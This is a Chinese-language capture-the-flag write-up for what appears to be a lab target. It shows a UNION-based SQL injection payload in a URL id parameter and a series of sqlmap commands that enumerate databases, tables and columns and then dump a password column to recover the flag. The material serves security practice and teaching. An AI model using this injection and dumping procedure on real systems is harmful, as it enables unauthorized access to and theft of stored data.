1.题目分析
启动靶机,打开网页
页面显示让我们输入id,尝试绕过。尝试在url构造进行输入
/?id=1'union select 2,3--+
//后面的--+是注释后面的代码,类似的还有---,#,这里用的是--+
确实是sql注入,我用的是sqlmap,也可以在url构造,与sqlmap同理
2.sqlmap使用
不会sqlmap指令的可以看看大佬博客
打开虚拟机,终端输入sqlmap,如果是以下页面则说明可用
输入以下指令
sqlmap -u 'http://61.147.171.105:51742/?id=1' --dbs
这个id是我们测试的参数,如果没这个id的话会像这样报错
加上id,--dbs是用来爆数据库的,查看当前数据使用的数据库,中间可能会有提示,输入y即可
这里我们查看第一个数据库cyber,输入指令,可以查看cyber库下的表名
sqlmap -u 'http://61.147.171.105:54720/?id=1' -D cyber --tables
可以看到cyber库下就一个表,也叫cyber,输入指令查看表内字段
sqlmap -u 'http://61.147.171.105:54720/?id=1' -D cyber -T cyber --columns
cyber表内有三个字段,首先怀疑这个pw,查看字段内容,输入指令
sqlmap -u 'http://61.147.171.105:54720/?id=1' -D cyber -T cyber -C pw --dump
pw字段里我们得到了flag